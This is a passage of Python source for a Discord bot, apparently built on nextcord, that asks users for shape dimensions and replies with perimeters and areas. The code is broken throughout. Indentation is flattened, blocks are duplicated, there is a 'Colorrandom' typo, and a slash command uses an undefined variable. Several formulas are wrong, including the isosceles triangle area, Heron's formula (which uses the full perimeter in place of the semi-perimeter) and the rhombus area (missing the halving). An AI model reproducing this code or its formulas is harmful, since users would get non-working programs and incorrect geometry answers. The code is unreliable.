await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a circle have a mention as a radius?",
color=nextcord.Color.random()))
return
r = r.content
for i in r:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a circle can have a radius {r}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
perimeter = round((2 * 22 * float(r)) / 7, 3)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of a circle with radius {r}\nDid you know that a perimeter of a circle is the same as its circumference?",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Triangle":
buttons = [
create_button(style=ButtonStyle.blue, label="Equilateral Triangle"),
create_button(style=ButtonStyle.red, label="Isosceles Triangle"),
create_button(style=ButtonStyle.green, label="Scalene Triangle")
]
action_row = create_actionrow(*buttons)
await ctx.send(
embed=nextcord.Embed(title="Please choose the type of triangle you want to use", color=nextcord.Color.random()),
components=[action_row]
)
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Equilateral Triangle":
await ctx.send(embed=nextcord.Embed(title="Please enter the length of the side of the triangle.", color=nextcord.Colorrandom()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle have a mention as a side?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a side {s}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
perimeter = round(3 * float(s), 3)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of an equilateral triangle with side {s}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Isosceles Triangle":
await ctx.send(
"Please enter the equal and the non-equal sides in this format\n`<equalside> <non-equalside>`")
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
e = split[0]
n = split[1]
perimeter = (2 * float(e)) + float(n)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of an isosceles triangle with equal sides of length {e} and a non-equal side of length {n}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Scalene Triangle":
await ctx.send(embed=nextcord.Embed(title="Please enter the three sides in this format\n`<side1> <side2> <side3>`", color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 3:
await ctx.send(embed=nextcord.Embed(
title=f"Only three numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
s1 = split[0]
s2 = split[1]
s3 = split[2]
perimeter = float(s1) + float(s2) + float(s3)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of a scalene triangle with sides of length {s1}, {s2} and {s3}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Quadrilateral":
buttons = [
create_button(style=ButtonStyle.blue, label="Parallelogram/Rectangle"),
create_button(style=ButtonStyle.red, label="Rhombus/Square"),
create_button(style=ButtonStyle.green, label="Irregular Quadrilateral")
]
action_row = create_actionrow(*buttons)
await ctx.send(
embed=nextcord.Embed(title="Please choose the type of quadrilateral you want to use", color=nextcord.Color.random()),
components=[action_row]
)
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Parallelogram/Rectangle":
await ctx.send(
"Please enter the two sets of opposite sides in this format\n`<oppositeside1> <oppositeside2>`")
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a parallelogram or a rectangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a parallelogram or a rectangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
os1 = split[0]
os2 = split[1]
perimeter = 2 * (float(os1) + float(os2))
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of a parallelogram or a rectangle with opposite sides of length {os1} and {os2}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Rhombus/Square":
await ctx.send(embed=nextcord.Embed(title="Please enter the side of the rhombus or square", color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a rhombus or square have a mention as a side?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a That a rhombus or square can have a side {s}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
perimeter = 4 * float(s)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of a rhombus or square with side {s}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Irregular Quadrilateral":
await ctx.send(
"Please enter the sides of the quadrilateral in this format\n`<side1> <side2> <side3> <side4>`")
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a quadrilateral can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a quadrilateral can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 4:
await ctx.send(embed=nextcord.Embed(
title=f"Only four numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
s1 = split[0]
s2 = split[1]
s3 = split[2]
s4 = split[3]
perimeter = float(s1) + float(s2) + float(s3) + float(s4)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of an irregular quadrilateral with sides {s1}, {s2}, {s3} and {s4}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['peri'])
async def perimeter(self, ctx):
def check(msg):
return msg.author == ctx.author and msg.channel == ctx
buttons = [
create_button(style=ButtonStyle.blue, label="Circle"),
create_button(style=ButtonStyle.red, label="Triangle"),
create_button(style=ButtonStyle.green, label="Quadrilateral")
]
action_row = create_actionrow(*buttons)
await ctx.send(
embed=nextcord.Embed(title="Please choose one of the following options", color=nextcord.Color.random()),
components=[action_row])
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Circle":
await ctx.send(embed=nextcord.Embed(title="Please enter the radius", color=nextcord.Color.random()))
r = await self.bot.wait_for("message", check=check)
if r.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a circle have a mention as a radius?",
color=nextcord.Color.random()))
return
r = r.content
for i in r:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a circle can have a radius {r}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
perimeter = round((2 * 22 * float(r)) / 7, 3)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of a circle with radius {r}\nDid you know that a perimeter of a circle is the same as its circumference?",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Triangle":
buttons = [
create_button(style=ButtonStyle.blue, label="Equilateral Triangle"),
create_button(style=ButtonStyle.red, label="Isosceles Triangle"),
create_button(style=ButtonStyle.green, label="Scalene Triangle")
]
action_row = create_actionrow(*buttons)
await ctx.send(
embed=nextcord.Embed(title="Please choose the type of triangle you want to use",
color=nextcord.Color.random()),
components=[action_row]
)
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Equilateral Triangle":
await ctx.send(embed=nextcord.Embed(title="Please enter the length of the side of the triangle.",
color=nextcord.Colorrandom()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle have a mention as a side?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a side {s}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
perimeter = round(3 * float(s), 3)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of an equilateral triangle with side {s}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Isosceles Triangle":
await ctx.send(
"Please enter the equal and the non-equal sides in this format\n`<equalside> <non-equalside>`")
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
e = split[0]
n = split[1]
perimeter = (2 * float(e)) + float(n)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of an isosceles triangle with equal sides of length {e} and a non-equal side of length {n}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Scalene Triangle":
await ctx.send(
embed=nextcord.Embed(title="Please enter the three sides in this format\n`<side1> <side2> <side3>`",
color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 3:
await ctx.send(embed=nextcord.Embed(
title=f"Only three numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
s1 = split[0]
s2 = split[1]
s3 = split[2]
perimeter = float(s1) + float(s2) + float(s3)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of a scalene triangle with sides of length {s1}, {s2} and {s3}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Quadrilateral":
buttons = [
create_button(style=ButtonStyle.blue, label="Parallelogram/Rectangle"),
create_button(style=ButtonStyle.red, label="Rhombus/Square"),
create_button(style=ButtonStyle.green, label="Irregular Quadrilateral")
]
action_row = create_actionrow(*buttons)
await ctx.send(
embed=nextcord.Embed(title="Please choose the type of quadrilateral you want to use",
color=nextcord.Color.random()),
components=[action_row]
)
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Parallelogram/Rectangle":
await ctx.send(
"Please enter the two sets of opposite sides in this format\n`<oppositeside1> <oppositeside2>`")
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a parallelogram or a rectangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a parallelogram or a rectangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
os1 = split[0]
os2 = split[1]
perimeter = 2 * (float(os1) + float(os2))
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of a parallelogram or a rectangle with opposite sides of length {os1} and {os2}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Rhombus/Square":
await ctx.send(embed=nextcord.Embed(title="Please enter the side of the rhombus or square",
color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a rhombus or square have a mention as a side?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a That a rhombus or square can have a side {s}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
perimeter = 4 * float(s)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of a rhombus or square with side {s}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Irregular Quadrilateral":
await ctx.send(
"Please enter the sides of the quadrilateral in this format\n`<side1> <side2> <side3> <side4>`")
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a quadrilateral can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a quadrilateral can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 4:
await ctx.send(embed=nextcord.Embed(
title=f"Only four numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
s1 = split[0]
s2 = split[1]
s3 = split[2]
s4 = split[3]
perimeter = float(s1) + float(s2) + float(s3) + float(s4)
if perimeter.is_integer() is True:
perimeter = int(perimeter)
embed = nextcord.Embed(title=f"{perimeter}",
description=f"Is the perimeter of an irregular quadrilateral with sides {s1}, {s2}, {s3} and {s4}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_slash(name="area", description="Gets the area of certain shapes for you.")
async def _area(self, ctx: SlashContext):
def check(msg):
return msg.author == ctx.author and msg.channel == ctx
await ctx.send(
"Please choose one of the following options",
components=[
Button(style=ButtonStyle.blue, label="Circle"),
Button(style=ButtonStyle.red, label="Triangle"),
Button(style=ButtonStyle.green, label="Quadrilateral")
]
)
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Circle":
await ctx.send(embed=nextcord.Embed(title="Please enter the radius", color=nextcord.Color.random()))
r = await self.bot.wait_for("message", check=check)
if r.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a circle have a mention as a radius?",
color=nextcord.Color.random()))
return
r = r.content
for i in r:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a circle can have a radius {r}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
area = round(22 * float(r) * float(r) / 7, 3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of a circle with radius {r}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Triangle":
await ctx.send(
"Please choose the type of triangle you want to use",
components=[
Button(style=ButtonStyle.blue, label="Equilateral Triangle"),
Button(style=ButtonStyle.red, label="Isosceles Triangle"),
Button(style=ButtonStyle.green, label="Scalene Triangle"),
Button(style=ButtonStyle.grey, label="Right-Angled Triangle")
]
)
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Equilateral Triangle":
await ctx.send(embed=nextcord.Embed(title="Please enter the length of the side of the triangle.", color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle have a mention as a side?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a side {s}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
area = round(math.sqrt(3) * float(s) * float(s) / 4, 3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of an equilateral triangle with side {s}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Isosceles Triangle":
await ctx.send(
"Please enter the equal and the non-equal sides in this format\n`<equalside> <non-equalside>`")
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
e = split[0]
n = split[1]
area = round(float(n) * (math.sqrt(math.pow(float(e), 2) - (math.pow(float(e), 2) / 4))) / 2, 3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of an isosceles triangle with equal sides of length {e} and a non-equal side of length {n}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Scalene Triangle":
await ctx.send(embed=nextcord.Embed(title="Please enter the three sides in this format\n`<side1> <side2> <side3>`", color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 3:
await ctx.send(embed=nextcord.Embed(
title=f"Only three numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
s1 = split[0]
s2 = split[1]
s3 = split[2]
s_heron = float(s1) + float(s2) + float(s3)
area = round(math.sqrt(s_heron * (s_heron - float(s1)) * (s_heron - float(s2)) * (s_heron - float(s3))),
3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of a scalene triangle with sides of length {s1}, {s2} and {s3}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Right-Angled Triangle":
await ctx.send(embed=nextcord.Embed(title="Please enter the two sides other then the hypotenuse.\n`<side1> <side2>`", color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
b = split[0]
h = split[1]
area = round((float(b) * float(h)) / 2, 3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of an isosceles triangle with the sides {b} and {h}, as long as they aren't the hypotenuses of the triangle!",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Quadrilateral":
await ctx.send(
"Please choose the type of quadrilateral you want to use",
components=[
Button(style=ButtonStyle.blue, label="Parallelogram"),
Button(style=ButtonStyle.red, label="Rectangle"),
Button(style=ButtonStyle.green, label="Rhombus"),
Button(style=ButtonStyle.gray, label="Square"),
Button(style=ButtonStyle.blue, label="Trapezium")
]
)
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Parallelogram":
await ctx.send(embed=nextcord.Embed(title="Please enter the base and height of the parallelogram.\n`<base> <height>`", color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a parallelogram can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a parallelogram can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
b = split[0]
h = split[1]
area = float(b) * float(h)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of an parallelogram with opposite sides of length {b} and {h}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Rectangle":
await ctx.send(embed=nextcord.Embed(title="Please enter the length and breadth of the rectangle.\n`<length> <breadth>`", color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a rectangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a rectangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
l = split[0]
b = split[1]
area = float(l) * float(b)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of an rectangle with opposite sides of length {l} and {b}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Rhombus":
await ctx.send(embed=nextcord.Embed(title="Please enter the diagonals of the rhombus in this format\n`<diagonal1> <diagonal2>`", color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a rhombus have a mention as a side?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a rhombus can have a side {s}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
d1 = split[0]
d2 = split[1]
area = float(d1) * float(d2)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of a rhombus with diagonals {d1} and {d2}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Square":
await ctx.send(embed=nextcord.Embed(title="Please enter the side of the square", color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a square have a mention as a side?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a square can have a side {s}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
area = math.pow(float(s), 2)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of a square with side {s}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Trapezium":
await ctx.send(
"Please enter the unequal sides of the trapezium, along with its height(altitude), in this format\n`<unequalside1> <unequalside2> <height/altitude>`")
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a trapezium can have a mention as one of its dimensions?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a trapezium can have {s} as one of its DIMENSIONS?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 3:
await ctx.send(embed=nextcord.Embed(
title=f"Only three numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
a = split[0]
b = split[1]
h = split[2]
area = round(((float(a) + float(b)) * float(h)) / 2, 3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of a trapezium with unequal sides of length {a}, {b} and height of length{h}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command()
async def area(self, ctx):
def check(msg):
return msg.author == ctx.author and msg.channel == ctx
await ctx.send(
"Please choose one of the following options",
components=[
